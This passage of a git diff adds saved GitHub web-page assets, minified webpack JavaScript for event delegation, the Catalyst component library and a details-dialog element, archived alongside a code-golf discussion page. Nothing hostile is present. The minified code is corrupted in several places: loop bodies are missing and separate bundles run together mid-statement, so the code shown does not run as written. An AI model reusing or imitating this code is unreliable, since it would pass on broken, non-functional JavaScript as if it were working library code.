iaxXXffWSdc6NarZIwYCSr7PmMXPjRmSx+eJy1WFylzGp+xBA/ZXbqHLFsts1wWQGRjZTKXfoj5Pbg1fOQg==","app_components_files_readme-toc-element_ts":"sha512-Hlg1mRqUjF49NFJSVV3XgAm76wbimmMBOM5iRpGJBa9D/ByL06e33Oddm13GJQObffLlxT+eKHaXDIhFZYiNxw==","app_components_github_delayed-loading-element_ts":"sha512-8d4na7eql/x4hCCUbEHfXxYse5kBI+748xAuuwybD74fO9fR/InT6vdeRbowaaqnmues+nwbD74BckskN5SY3A==","app_components_github_feature-callout-element_ts":"sha512-Li6AIOasOCvZdMrgLteprq0XOXVY1/JZ7M+enbvEtJJgSR5hmyj3OKtbqhtUhi0qAkMXiY9u8vG4ZiOJ4vmcyA==","app_components_issues_reopen-button-element_ts":"sha512-hSinw1qnb2n7olhfsgf+SLDfXbiEWhFKwgYIDnNwHcOMTJJNxfzCH+JMFG2XWlb1Z5lB7lFhXEUDnJBObxlhfg==","app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts":"sha512-2XC17LC7y9p3wlhPVtYQhmoVqena7ALdLyTL1J1k4NGu3C/FYUlP0M4dTUdb5agl3DqR9lF58c3cGnbE6K4N1g==","app_components_organizations_settings_codespaces-policy-form-element_ts":"sha512-HlcttOdTZl7aoUgIrwM1lh7JJ4oIx2oX1Iocuf4DkjBdR6wO7t0Auw0GW1LmVbC0tGjERh94O4aqG4fvfdWahw==","app_components_organizations_settings_features_insights-form-element_ts":"sha512-+4CBbqU5f99UrDjnsjvfcknOUO2/xOpgf26ljbyhydInWtVjRXsxtbaSp26X08HELZ4flmu01CkGQUFCL6bmWg==","app_components_primer_action_menu_action-menu-element_ts":"sha512-wuoDJIdnaSUQxJcd9e0KCh5U6CczuEEBqMWE2ZaMuRiv8c5foHSp1a+GuqHDyJazdNbZ0d/SCkZtvXVJb/IAVg==","app_components_primer_experimental_toggle-switch-element_ts":"sha512-vA+dwxMwb1jxu0V2VbOGSLpYDFU8FHmN/xxqIN/kfICkqriQrYftkb676eT+aGyltGdCW+ChOFEChxZRJyxe6A==","app_components_primer_modal_dialog_iterate-focusable-elements_ts":"sha512-yekMrWS8VU5ucaBD1gtyFAp4BNyOyM9JT+aIdfTkO3epXhqDqWxy50yOt/j/tRR1P2ymC0BM9+4R1xNgjKToVg==","app_components_primer_modal_dialog_modal-dialog-element_ts":"sha512-GRAAhJAY+bdXA4vJwE+OmFdjUpVydAP/SV1W+SmZQDq7Aq8oSB7Dq9q2XA8b/20gr0Aq5F6mdM00zngreJyh9A==","app_components_pull_requests_file_tree_file-filter-element_ts":"sha512-gyJ081vyf0Xgd4mZ3wc1eMkz3gWvofA+KmTD8qv4cDJymGwu8QsKFsZ8Z/L5yJmnErJedA84sH9TjhOBE/+iVw==","app_components_pull_requests_file_tree_file-tree-element_ts":"sha512-8xUvTwoEdeZADPOE3Re8TURu/biwMTU5zw1nngnJ4ZEaiR9jdCD94bCScdRjEizUepjoQHoOloFSekND3Y0E0Q==","app_components_pull_requests_file_tree_file-tree-toggle-element_ts":"sha512-7z0FO5DEnByUiAj8SylkFHf8fStEgx3PNR+GLb0ubOzPK6eMt036lI39IV/Btlk7OJLXVrc4hsOoG14shTCnNw==","app_components_repos_alerts_dependabot-alert-row-element_ts":"sha512-SywsF6Zms7czM5n1qife/0uz8LH3m7KbIc9YtJREiZ8G45WzADZuQlfsWCd4ulamomkS/kO//uvnj1g/JKZyKQ==","app_components_repos_alerts_dependabot-alert-table-header-element_ts":"sha512-eooOXoFuSYMgk3P1uV/IdkSlkQd4tDTr60il9hT1x3NZMsotcuYNd5g0LG9hinY23vYLxypE4aGqCD4Klxstdg==","app_components_repositories_memex_memex-project-picker-element_ts":"sha512-U+0+9BX1fnF9dXk2gFZ5tHgvkEw2UsQbxybv9+sCv1dwAFmZPLG860c3Ti8zMXg3wsv09LFj4fJWCTmHv4KBDg==",app_components_search_parsing_common_ts:"sha512-Zp26qsmcPLngNRzQRw1H7GCEv6yQSKHnEjkMIxQ4+ifY24a4SSNdmZtsTwHESw/7OwBkK6aQo24oqYMsoCknOg==",app_components_search_suggestions_blackbird_ts:"sha512-nT8LmhZgTVjXgUF9CK3GY8IdgTcYQcmhxgsA6aUT4wg0cR/jVk1B/YE5VRDpkbCeB16uiXEoa/PmlGygMiomnw==","app_components_search_suggestions_custom-scopes_ts":"sha512-3yWFLjrYRLUAB6oZ58Stabx+/gGwA7Baykephq56A5TA0WG2HvjuKJbTBTO05cjk22FpKGwA5yRpiZkHj4eXRw==",app_components_search_suggestions_default_ts:"sha512-HnCDdQpYLyjUz/WadRyCKStd4WtOmEa6HrhlN1McRzpH9r1JIhjNDuMJMqzVQhDTbaUFWBSYmt1wSJ/f4aDoxA==","app_components_search_suggestions_fixed-qualifiers_ts":"sha512-89o1r1T3mLKODJXmqnk+WedDAG0vur/nZNkVNA/Ww6xlQe/3Pe7NVfeF6j+LF0lpXOuVaIiAMK1SSDsPycBB8g==",app_components_search_suggestions_history_ts:"sha512-W3d407jS9VxXVyYTgLU485MVvXJKJhzs9iB/iyw/w4fei1MnDGLak++RmV4OiAmmkT+kLJsGBSd/aavIoXJB3g==",app_components_search_suggestions_languages_ts:"sha512-+PkaaSelHAPYRWvviLTId1S3HIvVw0yk99N4K2OhA/qTP37c9cOFgsxqO6t/Ki5/tzGp6jyYDqEKgJJ7SMEBZQ==",app_components_search_suggestions_suggestions_ts:"sha512-B7Nlh0geByqceYH4+Rta1MOcallw8HWTDn5fiO21ZrADo+QrSod8uRcVTq3CXWX6p6brzmE0tOjoAP9yB7u6Pg==",app_components_search_suggestions_types_ts:"sha512-kW49jEW0Ab9BtybEId64VGmsyfPlOMVRk/ttcVGyeC6+rnUeIFnlln8vL0pNwdhKSOP2pCk5o6+8EvXVosLjdw==","app_components_slash_commands_slash-command-toolbar-button-element_ts":"sha512-RHdlYHzDfpMjOdZbCWoUFmk7jTWLHTjZetsimOsI0Ms7D+5RcEAw9R0Eob3AsGx51A2AKGReTLzV0zZ1rv91qg==","app_components_stafftools_turbo_turbo-staffbar-element_ts":"sha512-IvoC4fAhrI5aCxE5K9bvUE20nGvZSVpVDVEwBKXLNimIYPnLDBbuLuRZRqWVfmNrRWt6oKPX/LTdGZQ6QwtUcg==","app_components_stafftools_turbo_turbo-staffbar-preview-element_ts":"sha512-MCpREfCnzYzKvsgDV2FuJdeHsK0Ob0MzLmzsH8TO7CyOJ3osSerFgJsB0pfYjxTb1jXPJmPkeqe6SwdNr4VyDg==","app_components_themed_pictures_themed-picture-element_ts":"sha512-nyzAyLD8t++Lyh+i/IKpkIk0JfFWjP0qKvuLoM4xwk4ck35wyex+EacGOIFiOH2LelcXV0FiL/xboRcVtgNl+A==","app_components_tracking_blocks_tracking-block-api_ts":"sha512-0u38w/1aNEmAh0TLGo79x4AYCYdt7S4g5mR0FShL9mAHI3mvtDhb3HSVqZJGoeh8+3vkIw6UUYLFrt69hQJYqw==","app_components_tracking_blocks_tracking-block-element_ts":"sha512-G/lNuFWi3Z6zNIzTSz/T2zcqJ6Q9zgtE3ttmIErpquUgVfeT29w9J3DOChUvscxdIaveCQC9QcxPLstZf9tauw==","app_components_tracking_blocks_tracking-block-omnibar-element_ts":"sha512-93Y2PZscwJN7bH9FjJ1jEkJWb+KmThUoqqUPL2pn/5RoO8Bd5y0yMSWoRSPJTy90r7Pw/9R4513IQAWSdiXeVQ==","app_assets_modules_github_emoji-picker-element_ts":"sha512-XraQrYuikdc2um+3rCRgeIwFYRKLUjir8U/nwSYOF52Vu+1v8etWLeILxjZKclExKqR/yZvn0UJYYLWez3W1ng==","app_assets_modules_github_behaviors_edit-hook-secret-element_ts":"sha512-VRfnq+eDbUcN8tTNmazkjOfVLTwP1zk5uj9fcgMr5CJ44xcp3O6uEhIRf6ceEZqWXbXvFCXR74TJ/X9xhVOV3g==","app_assets_modules_github_insights_insights-query_ts":"sha512-HUmykKCpoMqBGXg4S+Nzyneods7BnBTFdmev9lHrzcNlM4NUFiMBAO6KDU4QInL0IUXdEuZZGUZv9f5jGvJoKQ==","app_assets_modules_github_insights_series-table_ts":"sha512-iMQOln09UQ5kc+1plprNbTA6oySd/N4Pv7pNm5C0x+9SU+O3dy1+amg2vZPGiXwk0wW5jGP5lIRKUFKF4YaNZA==","app_assets_modules_github_presence_presence-avatars_ts":"sha512-aO6oYeK9FLQSsM97Dv6ydNEidC1URILeRiPeecHGx1+eiq9VfY4RRORukAQU2o+ADwNj93pxyLIWh56EX1FBsQ==","app_assets_modules_github_behaviors_reload-after-polling-element_ts":"sha512-A4PhKT/oT4hmMoP9muRqfT0p0BESrLWM2Q055YxXW+1vjz8rHLBLMo0RWDhm5pVMfQ3ONZ3UB/DaGfAAKLMY0g==",app_assets_modules_github_dependencies_ts:"sha512-nt/ORE7b8HDLyl9kFMy/WSAJb5WY7Z7LnOJXxJ3nvpqgFW/0x6cWKlvpmLbWmE/Kavq1kyridh02ZMgxswaCIg==","vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_catalyst_lib_inde-758ef9":"sha512-wwilBKUArz/rX5pIRCf12Drd7eXVXs1ojNAHgi9psdcnAkO6+cB5qG1JeZN7rySsdjVfG9ROnrrjbjsoUIonsA==","app_assets_modules_github_graphs_network-graph-element_ts":"sha512-Tn2dyXwUODVBVNhSZCvNV+cpSmFs3I5Ac0cTiVt9ytytAtXbugUtI4wiHkvlob5EOaAkjhOXJ4fbn8CeEtaUBw==","app_assets_modules_github_localization_inline-machine-translation-element_ts":"sha512-IDhGCIIlRbHjsowkTJXs0sd/86Zcld1QMdi2paC9Asgm3ZaNFG7utv/8tiOendd16UL8atdCfNM9dZJzMn9PUQ=="},(()=>{var e={runtime:0};t.f.j=(a,n)=>{var s=t.o(e,a)?e[a]:void 0;if(s!==0)if(s)n.push(s[2]);else if(a!="runtime"){var p=new Promise((d,m)=>s=e[a]=[d,m]);n.push(s[2]=p);var r=t.p+t.u(a),i=new Error,l=u(d=>{if(t.o(e,a)&&(s=e[a],s!==0&&(e[a]=void 0),s)){var m=d&&(d.type==="load"?"missing":d.type),c=d&&d.target&&d.target.src;i.message="Loading chunk "+a+` failed. +(`+m+": "+c+")",i.name="ChunkLoadError",i.type=m,i.request=c,s[1](i)}},"loadingEnded");t.l(r,l,"chunk-"+a,a)}else e[a]=0},t.O.j=a=>e[a]===0;var o=u((a,n)=>{var[s,p,r]=n,i,l,d=0;if(s.some(c=>e[c]!==0)){for(i in p)t.o(p,i)&&(t.m[i]=p[i]);if(r)var m=r(t)}for(a&&a(n);d{var Z=Object.defineProperty;var a=(z,_)=>Z(z,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51","node_modules_delegated-events_dist_index_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c50","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"],{59753:(z,_,D)=>{D.d(_,{f:()=>o,on:()=>G});function p(){if(!(this instanceof p))return new p;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}a(p,"SelectorSet");var v=window.document.documentElement,P=v.matches||v.webkitMatchesSelector||v.mozMatchesSelector||v.oMatchesSelector||v.msMatchesSelector;p.prototype.matchesSelector=function(e,n){return P.call(e,n)},p.prototype.querySelectorAll=function(e,n){return n.querySelectorAll(e)},p.prototype.indexes=[];var y=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"ID",selector:a(function(n){var r;if(r=n.match(y))return r[0].slice(1)},"matchIdSelector"),element:a(function(n){if(n.id)return[n.id]},"getElementId")});var C=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"CLASS",selector:a(function(n){var r;if(r=n.match(C))return r[0].slice(1)},"matchClassSelector"),element:a(function(n){var r=n.className;if(r){if(typeof r=="string")return r.split(/\s/);if(typeof r=="object"&&"baseVal"in r)return r.baseVal.split(/\s/)}},"getElementClassNames")});var x=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;p.prototype.indexes.push({name:"TAG",selector:a(function(n){var r;if(r=n.match(x))return r[0].toUpperCase()},"matchTagSelector"),element:a(function(n){return[n.nodeName.toUpperCase()]},"getElementTagName")}),p.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return a(e,"Map"),e.prototype.get=function(n){return this.map[n+" "]},e.prototype.set=function(n,r){this.map[n+" "]=r},e}();var S=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function w(e,n){e=e.slice(0).concat(e.default);var r=e.length,i,s,c,u,d=n,l,h,f=[];do if(S.exec(""),(c=S.exec(d))&&(d=c[3],c[2]||!d)){for(i=0;i3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];u||(u=new p,c[e]=u,document.addEventListener(e,V,s)),u.add(n,r)}a(G,"on");function t(e,n,r){var i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},s=!!i.capture,c=s?E:k,u=c[e];!u||(u.remove(n,r),!u.size&&(delete c[e],document.removeEventListener(e,V,s)))}a(t,"off");function o(e,n,r){return e.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:!0,detail:r}))}a(o,"fire")},90420:(z,_,D)=>{D.d(_,{Lj:()=>T,Ih:()=>G,fA:()=>k,GO:()=>E});const p=new WeakSet;function v(t){p.add(t),t.shadowRoot&&P(t.shadowRoot),x(t),C(t.ownerDocument)}a(v,"bind");function P(t){x(t),C(t)}a(P,"bindShadow");const y=new WeakMap;function C(t=document){if(y.has(t))return y.get(t);let o=!1;const e=new MutationObserver(r=>{for(const i of r)if(i.type==="attributes"&&i.target instanceof Element)w(i.target);else if(i.type==="childList"&&i.addedNodes.length)for(const s of i.addedNodes)s instanceof Element&&x(s)});e.observe(t,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const n={get closed(){return o},unsubscribe(){o=!0,y.delete(t),e.disconnect()}};return y.set(t,n),n}a(C,"listenForBind");function x(t){for(const o of t.querySelectorAll("[data-action]"))w(o);t instanceof Element&&t.hasAttribute("data-action")&&w(t)}a(x,"bindElements");function A(t){const o=t.currentTarget;for(const e of S(o))if(t.type===e.type){const n=o.closest(e.tag);p.has(n)&&typeof n[e.method]=="function"&&n[e.method](t);const r=o.getRootNode();if(r instanceof ShadowRoot&&p.has(r.host)&&r.host.matches(e.tag)){const i=r.host;typeof i[e.method]=="function"&&i[e.method](t)}}}a(A,"handleEvent");function*S(t){for(const o of(t.getAttribute("data-action")||"").trim().split(/\s+/)){const e=o.lastIndexOf(":"),n=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,e),tag:o.slice(e+1,n),method:o.slice(n+1)||"handleEvent"}}}a(S,"bindings");function w(t){for(const o of S(t))t.addEventListener(o.type,A)}a(w,"bindActions");function W(t,o){const e=t.tagName.toLowerCase();if(t.shadowRoot){for(const n of t.shadowRoot.querySelectorAll(`[data-target~="${e}.${o}"]`))if(!n.closest(e))return n}for(const n of t.querySelectorAll(`[data-target~="${e}.${o}"]`))if(n.closest(e)===t)return n}a(W,"findTarget");function M(t,o){const e=t.tagName.toLowerCase(),n=[];if(t.shadowRoot)for(const r of t.shadowRoot.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)||n.push(r);for(const r of t.querySelectorAll(`[data-targets~="${e}.${o}"]`))r.closest(e)===t&&n.push(r);return n}a(M,"findTargets");function k(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return W(this,o)}})}a(k,"target");function E(t,o){return Object.defineProperty(t,o,{configurable:!0,get(){return M(this,o)}})}a(E,"targets");function j(t){const o=t.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[t.name]=t,window.customElements.define(o,t))}a(j,"register");function O(t){for(const o of t.querySelectorAll("template[data-shadowroot]"))o.parentElement===t&&t.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}a(O,"autoShadowRoot");const m=new WeakMap;function T(t,o){m.has(t)||m.set(t,[]),m.get(t).push(o)}a(T,"attr");function N(t,o){o||(o=R(Object.getPrototypeOf(t)));for(const e of o){const n=t[e],r=F(e);let i={configurable:!0,get(){return this.getAttribute(r)||""},set(s){this.setAttribute(r,s||"")}};typeof n=="number"?i={configurable:!0,get(){return Number(this.getAttribute(r)||0)},set(s){this.setAttribute(r,s)}}:typeof n=="boolean"&&(i={configurable:!0,get(){return this.hasAttribute(r)},set(s){this.toggleAttribute(r,s)}}),Object.defineProperty(t,e,i),e in t&&!t.hasAttribute(r)&&i.set.call(t,n)}}a(N,"initializeAttrs");function R(t){const o=new Set;let e=t;for(;e&&e!==HTMLElement;){const n=m.get(e)||[];for(const r of n)o.add(r);e=Object.getPrototypeOf(e)}return o}a(R,"getAttrNames");function F(t){return`data-${t.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}a(F,"attrToAttributeName");function U(t){let o=t.observedAttributes||[];Object.defineProperty(t,"observedAttributes",{configurable:!0,get(){return[...R(t.prototype)].map(F).concat(o)},set(e){o=e}})}a(U,"defineObservedAttributes");const L=new WeakSet;function $(t,o){t.toggleAttribute("data-catalyst",!0),customElements.upgrade(t),L.add(t),O(t),N(t),v(t),o&&o.call(t),t.shadowRoot&&P(t.shadowRoot)}a($,"initializeInstance");function B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..a46ba85 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of 